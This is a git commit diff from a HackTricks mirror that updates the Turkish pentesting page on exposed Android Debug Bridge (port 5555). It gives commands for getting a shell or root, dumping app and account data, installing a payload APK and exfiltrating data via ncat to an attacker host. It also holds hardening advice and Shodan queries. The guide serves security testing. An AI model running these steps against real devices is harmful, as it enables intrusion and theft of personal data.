mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/network-services-pentesting/5555-android-debug-bridge.m
This commit is contained in:
		
							parent
							
								
									0ef342dc87
								
							
						
					
					
						commit
						da952d05fc
					
				@ -6,40 +6,141 @@
 | 
			
		||||
 | 
			
		||||
From [the docs](https://developer.android.com/studio/command-line/adb):
 | 
			
		||||
 | 
			
		||||
**Android Debug Bridge** (adb), bir cihazla iletişim kurmanıza olanak tanıyan çok yönlü bir komut satırı aracıdır. adb komutu, **uygulamaları yükleme ve hata ayıklama** gibi çeşitli cihaz eylemlerini kolaylaştırır ve bir cihazda çeşitli komutlar çalıştırmak için kullanabileceğiniz **Unix kabuğuna** erişim sağlar.
 | 
			
		||||
Android Debug Bridge (adb), Android tabanlı cihazlar ve emülatörlerle iletişim kurmak için bir komut satırı aracıdır. Tipik eylemler arasında paket yükleme, hata ayıklama ve cihazda etkileşimli bir Unix kabuğu alma bulunmaktadır.
 | 
			
		||||
 | 
			
		||||
**Varsayılan port**: 5555.
 | 
			
		||||
- Tarihsel varsayılan TCP portu: 5555 (klasik "adb tcpip" modu).
 | 
			
		||||
- Modern Kablosuz hata ayıklama (Android 11+) TLS eşleştirme ve mDNS hizmet keşfi kullanır. Bağlantı portu dinamik olup mDNS aracılığıyla keşfedilir; 5555 olmayabilir. Eşleştirme, adb pair host:port ile yapılır ve ardından adb connect gelir. Aşağıdaki notlara saldırgan etkileri için bakın.
 | 
			
		||||
 | 
			
		||||
Örnek nmap parmak izi:
 | 
			
		||||
```
 | 
			
		||||
PORT     STATE SERVICE VERSION
 | 
			
		||||
5555/tcp open  adb     Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
 | 
			
		||||
```
 | 
			
		||||
## Bağlan
 | 
			
		||||
 | 
			
		||||
Eğer bir cihazın bir portunda ADB hizmetini bulur ve ona bağlanabilirseniz, **sistemin içinde bir shell alabilirsiniz:**
 | 
			
		||||
Eğer ADB'yi açık ve erişilebilir bulursanız, hızlıca bağlanmayı ve saymayı deneyin:
 | 
			
		||||
```bash
 | 
			
		||||
adb connect 10.10.10.10
 | 
			
		||||
adb root # Try to escalate to root
 | 
			
		||||
adb shell
 | 
			
		||||
adb connect <ip>[:<port>]      # Default is 5555 for classic mode
 | 
			
		||||
adb devices -l                 # Confirm it shows as "device" (not unauthorized/offline)
 | 
			
		||||
adb shell                      # Get an interactive shell (uid usually shell)
 | 
			
		||||
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
 | 
			
		||||
adb root || true               # Works on eng/userdebug/insecure builds, many emulators/IoT
 | 
			
		||||
```
 | 
			
		||||
Daha fazla ADB komutu için aşağıdaki sayfayı kontrol edin:
 | 
			
		||||
- Eğer cihaz ADB kimlik doğrulamasını zorluyorsa (ro.adb.secure=1), önceden yetkilendirilmiş olmanız (USB RSA kimlik doğrulaması) veya Android 11+ Kablosuz hata ayıklama eşleştirmesini kullanmanız gerekecek (bu, cihazda görüntülenen bir kerelik kodu gerektirir).
 | 
			
		||||
- Bazı üretici görüntüleri, mühendislik/kullanıcı hata ayıklama derlemeleri, emülatörler, TV'ler, STB'ler ve geliştirme kitleri, kimlik doğrulaması olmadan veya adbd'nin root olarak çalıştığı durumlarda adbd'yi açığa çıkarır. Bu durumlarda genellikle doğrudan bir shell veya root shell'e geçersiniz.
 | 
			
		||||
 | 
			
		||||
Genel bir ADB komut referansı için, bakınız:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../mobile-pentesting/android-app-pentesting/adb-commands.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### Uygulama verilerini dökme
 | 
			
		||||
## Hızlı Post-Exploitation
 | 
			
		||||
 | 
			
		||||
Bir uygulamanın verilerini tamamen indirmek için şunları yapabilirsiniz:
 | 
			
		||||
Shell'e sahip olduğunuzda, ayrıcalıkları ve SELinux bağlamını doğrulayın:
 | 
			
		||||
```bash
 | 
			
		||||
# From a root console
 | 
			
		||||
chmod 777 /data/data/com.package
 | 
			
		||||
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
 | 
			
		||||
adb pull "/sdcard/com.package"
 | 
			
		||||
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
 | 
			
		||||
```
 | 
			
		||||
Bu hileyi **chrome şifreleri gibi hassas bilgileri almak için** kullanabilirsiniz. Bu konuda daha fazla bilgi için sağlanan referanslardaki bilgileri kontrol edin [**burada**](https://github.com/carlospolop/hacktricks/issues/274).
 | 
			
		||||
### Verileri Listele ve Yakala
 | 
			
		||||
 | 
			
		||||
- Üçüncü taraf uygulamaları ve yolları listele:
 | 
			
		||||
```bash
 | 
			
		||||
pm list packages -3
 | 
			
		||||
pm path <pkg>
 | 
			
		||||
```
 | 
			
		||||
- Eğer root erişiminiz varsa (adb root veya su çalışır), /data'ya doğrudan erişebilirsiniz. Aksi takdirde, hata ayıklanabilir uygulamalar için run-as kullanmayı tercih edin:
 | 
			
		||||
```bash
 | 
			
		||||
# Root olmadan, hata ayıklanabilir bir uygulama için
 | 
			
		||||
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
 | 
			
		||||
 | 
			
		||||
# Root ile
 | 
			
		||||
cp -a /data/data/<pkg> /sdcard/<pkg>
 | 
			
		||||
exit
 | 
			
		||||
adb pull "/sdcard/<pkg>"
 | 
			
		||||
```
 | 
			
		||||
- Kullanışlı sistem belgeleri (root gereklidir):
 | 
			
		||||
- /data/system/users/0/accounts.db ve ilgili AccountManager verileri
 | 
			
		||||
- /data/misc/wifi/ (eski sürümlerde ağ yapılandırmaları/anahtarları)
 | 
			
		||||
- /data/data/<pkg> altında uygulamaya özel SQLite DB'leri ve shared_prefs
 | 
			
		||||
 | 
			
		||||
Bunu hassas bilgileri (örneğin, uygulama sırları) almak için kullanabilirsiniz. Chrome veri dikkate alımları hakkında notlar için [burada](https://github.com/carlospolop/hacktricks/issues/274) belirtilen konuyu inceleyin.
 | 
			
		||||
 | 
			
		||||
### Kod yürütme ve yük teslimi
 | 
			
		||||
 | 
			
		||||
- Kurulum yapın ve çalışma zamanı izinlerini otomatik olarak verin:
 | 
			
		||||
```bash
 | 
			
		||||
adb install -r -g payload.apk         # -g, manifestte belirtilen tüm çalışma zamanı izinlerini verir
 | 
			
		||||
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
 | 
			
		||||
```
 | 
			
		||||
- Etkinlikleri/hizmetleri/broadcast'ları doğrudan başlatın:
 | 
			
		||||
```bash
 | 
			
		||||
adb shell am start -n <pkg>/<activity>
 | 
			
		||||
adb shell am startservice -n <pkg>/<service>
 | 
			
		||||
adb shell am broadcast -a <action>
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
### Port yönlendirme ve pivotlama
 | 
			
		||||
 | 
			
		||||
Root olmadan bile, adb yerel portları cihaz portlarına ve tersine yönlendirebilir. Bu, cihazda yerel olarak bağlı hizmetlere erişmek veya saldırgan hizmetlerini cihaza açmak için yararlıdır.
 | 
			
		||||
 | 
			
		||||
- Host->cihaz yönlendirme (cihazda yerel bir hizmete ev sahibi bilgisayarınızdan erişin):
 | 
			
		||||
```bash
 | 
			
		||||
adb forward tcp:2222 tcp:22       # Cihaz SSH çalıştırıyorsa (örneğin, Termux/Dropbear)
 | 
			
		||||
adb forward tcp:8081 tcp:8080     # Uygulamanın yerel hata ayıklama sunucusunu aç
 | 
			
		||||
```
 | 
			
		||||
- Ters cihaz->host yönlendirme (cihazın ev sahibi bilgisayarınızdaki bir hizmete ulaşmasına izin verin):
 | 
			
		||||
```bash
 | 
			
		||||
adb reverse tcp:1080 tcp:1080     # Cihaz uygulamaları artık host:1080'e 127.0.0.1:1080 olarak ulaşabilir
 | 
			
		||||
```
 | 
			
		||||
- Soketler üzerinden dosya dışa aktarımı (sdcard yazma yok):
 | 
			
		||||
```bash
 | 
			
		||||
# Host'ta: dinle
 | 
			
		||||
ncat -lvp 9000 > dump.tar
 | 
			
		||||
# Cihazda: dizini tar olarak gönder (root veya run-as uygun olduğunda)
 | 
			
		||||
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
## Kablosuz Hata Ayıklama (Android 11+)
 | 
			
		||||
 | 
			
		||||
Modern Android, cihaz tarafı eşleştirme ve mDNS keşfi ile TLS korumalı kablosuz hata ayıklama uygular:
 | 
			
		||||
```bash
 | 
			
		||||
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
 | 
			
		||||
# On attacker host (same L2 network, mDNS allowed):
 | 
			
		||||
adb pair <device_ip>:<pair_port>   # Enter the 6-digit code shown on device
 | 
			
		||||
adb mdns services                  # Discover _adb-tls-connect._tcp / _adb._tcp services
 | 
			
		||||
adb connect <device_ip>:<conn_port>
 | 
			
		||||
```
 | 
			
		||||
Notlar
 | 
			
		||||
- Portlar dinamik; 5555 varsaymayın. mDNS hizmet adları şöyle görünür:
 | 
			
		||||
- _adb-tls-pairing._tcp (eşleştirme)
 | 
			
		||||
- _adb-tls-connect._tcp (eşleştirilmiş bağlantı)
 | 
			
		||||
- _adb._tcp (eski/normal)
 | 
			
		||||
- Eğer mDNS filtrelenmişse, klasik USB destekli etkinleştirme bazı sürümlerde hala çalışabilir: `adb tcpip 5555` ardından `adb connect <ip>:5555` (yeniden başlatmaya kadar).
 | 
			
		||||
 | 
			
		||||
Saldırgan etkileri: Cihazın UI'si ile etkileşimde bulunabiliyorsanız (örneğin, fiziksel erişim veya mobil MDM yanlış yapılandırması) Kablosuz hata ayıklamayı etkinleştirip eşleştirme kodunu görebilirseniz, kablo olmadan uzun süreli eşleştirilmiş bir ADB kanalı kurabilirsiniz. Bazı OEM'ler, eşleştirme olmadan mühendislik/geliştirme görüntülerinde ADB'yi TCP üzerinden açar—her zaman kontrol edin.
 | 
			
		||||
 | 
			
		||||
## Güçlendirme / Tespit
 | 
			
		||||
 | 
			
		||||
Savunucular, erişilebilir herhangi bir adbd (TCP) için kritik risk olduğunu varsaymalıdır.
 | 
			
		||||
 | 
			
		||||
- Gerekmediğinde ADB ve Kablosuz hata ayıklamayı devre dışı bırakın. Geliştirici seçeneklerinde USB hata ayıklama yetkilendirmelerini iptal edin.
 | 
			
		||||
- Ağ politikasının güvenilmeyen segmentlerde gelen TCP/5555 ve mDNS tabanlı ADB keşfini engellediğinden emin olun.
 | 
			
		||||
- Kontrolünüz altındaki cihazlarda:
 | 
			
		||||
```bash
 | 
			
		||||
settings put global adb_enabled 0
 | 
			
		||||
setprop service.adb.tcp.port -1   # TCP dinlemeyi devre dışı bırak (veya kullan: adb usb)
 | 
			
		||||
stop adbd; start adbd             # daemon'ı yeniden başlat
 | 
			
		||||
```
 | 
			
		||||
- Kurumsal ağlarda `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` için mDNS kayıtlarını izleyin ve beklenmeyen 5555 dinleyicileri için uyarılar oluşturun.
 | 
			
		||||
- Güvensiz sürümler için envanter: `getprop ro.debuggable`, `ro.build.type`, ve `ro.adb.secure`.
 | 
			
		||||
 | 
			
		||||
## Shodan
 | 
			
		||||
 | 
			
		||||
- `android debug bridge`
 | 
			
		||||
- android debug bridge
 | 
			
		||||
- port:5555 product:"Android Debug Bridge"
 | 
			
		||||
 | 
			
		||||
## Referanslar
 | 
			
		||||
 | 
			
		||||
- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
 | 
			
		||||
- AOSP – ADB over Wi‑Fi, eşleştirme ve mDNS hizmet adları: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user